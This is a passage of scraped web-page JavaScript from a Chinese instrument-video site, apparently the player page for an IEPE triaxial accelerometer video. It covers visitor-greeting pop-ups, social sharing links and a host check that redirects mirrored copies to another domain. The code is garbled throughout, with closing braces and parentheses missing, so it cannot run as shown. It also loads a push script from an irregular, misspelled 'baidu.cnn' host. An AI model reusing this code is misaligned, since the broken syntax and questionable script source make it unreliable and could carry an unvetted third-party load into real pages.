else {
bp.src = 'http://push.zhanzhang.baidu.cnn/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
)();
if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) {
location.href = location.href.replace(document.location.host, 'www.284719.com');
return flag;
//var _randnumber=10000+(Math.floor(Math.random() * (100 - 1)) + 1);
var _randnumber= Math.random().toString(36).substring(3, 8);
var lastSid = "";
function AddVisitor() {
var vvv = Vivian.GetLiveVisitorCache("0", "13815", "videoplay").value;
if (vvv == "") {
if(jQuery(".tourist ul li:visible").length==0){
jQuery(".tourist").hide();
//么有游客进入,不显示列表
return false;
var jsonObj = eval("(" + vvv + ")");
if (lastSid != jsonObj.SessionID) {
lastSid = jsonObj.SessionID;
AddVisitorHtml(jsonObj.Area, jsonObj.Name);
else{
if(jQuery(".tourist ul li:visible").length==0){
jQuery(".tourist").hide();
//么有游客进入,不显示列表
function AddVisitorHtml(area, name) {
// _randnumber=10000+(Math.floor(Math.random() * (100 - 1)) + 1);
//name="游客"+_randnumber;
jQuery(".tourist").show(); //有游客进入,显示列表
var html = "
欢迎"+area+name+"进入直播间
"
jQuery(".tourist ul").append(html);
//fadeOut();//慢慢消失效果
jQuery("#"+name).fadeOut(10000);
scrollTOP();
//设置进入游客
function AddVisitorInterval() {
try {
Vivian.SetLiveVisitorCache2("0", "13815", "videoplay",_randnumber);
AddVisitor();
catch (error) {
setInterval("AddVisitor()", 8000);
function fadeOut() {
jQuery(".top-tips").first().fadeOut(3000);
setTimeout(
function () {
jQuery(".top-tips").first().remove();
, 5000);
var timesRun = 0;
jQuery(document).ready(function () {
AddVisitorInterval();
var interval = setInterval(function () {
timesRun += 1;
if (timesRun === 480) {//2小时
clearInterval(interval);
fadeOut();
, 15000);
);
var index = 0;
function scrollTOP(){
//if(jQuery(".tourist ul li:visible").length<5){
var index=jQuery(".tourist ul li:visible").length;
//可视0,1条,top=170
if(index>1){index=index-2;
else{index=0;
var new_top = 170 + (-index * 46);
if(new_top>170){new_top=170;
if(new_top<-60){new_top=-60;
//console.log("index="+index+"new_top="+new_top);
jQuery(".tourist ul").animate({top: new_top+'px'
);
//
;
当前视频不支持兼容模式下播放,
建议您切换成极速模式,
或使用Chrome等其他浏览器观看。
您也可以扫码手机端观看
IEPE三轴微型加速度传感器回放
分享
function share(types) {
var title, imageUrl, url, description, keywords;
//获取文章标题
title = document.title;
//获取隐藏域中的图片地址
try {
imageUrl = document.getElementById("shareimg").innerHTML;
catch (e) {
imageUrl = "";
//假如图片为空获取网页中的第一张图片地址作为分享图
if (imageUrl == "") {
try {
imageUrl = document.images[0].src;
catch (e) {
imageUrl = "";
//获取当前网页url
url = document.location.href;
url = url.replace("html#", "html");
try {
//获取网页描述
description = document.querySelector('meta[name="description"]').getAttribute('content');
catch (e) {
description = "";
try {
//获取网页关键字
keywords = document.querySelector('meta[name="keywords"]').getAttribute('content');
catch (e) {
keywords = "";
//qq空间接口的传参
if (types == 'qzone') {
window.open('https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=' + url + '&title=' + title + '&pics=' + imageUrl + '&summary=' + description);
//新浪微博接口的传参
if (types == 'weibo') {
window.open('http://service.weibo.com/share/share.php?appkey=583395093&url=' + url + '&title=' + title + '&pic=' + imageUrl);
// //qq好友接口的传参
// if (types == 'qqim') {
// window.open('http://connect.qq.com/widget/shareqq/index.html?url=' + url + '&title=' + title + '&pics=' + imageUrl + '&summary=' + description + '&desc=' + keywords);
//
//生成二维码给微信扫描分享
if (types == 'weixin' || types == 'qqim') {
//在线二维码(服务器性能限制,仅测试使用,屏蔽非大陆ip访问)
// url = url.replaceAll("-", "%2D");
url=url.replace(/-/g, '%2D')
window.open('https://www.a-bm.cn/share.aspx?types=' + types + '&url=' + url);
var canvas1 = document.getElementById("myCanvasTOP1");
imageToCanvas(canvas1,"https://www.284719.com/QrCode.aspx?s=http%3A//m.ybzhan.cn/video/c13815.html");
function imageToCanvas(canvas1,url) {
var img = new Image();
img.src = url;
img.onload = function(){
var ctx = canvas1.getContext("2d");
ctx.drawImage(img,0,0,canvas1.width,canvas1.height);
//console.log(img.width + ":" + img.height);
jQuery(".area").slimScroll({
height: '410px',
);
setTimeout(
function () {
jQuery(".brief-list").eq(1).hide();
, 1000);
0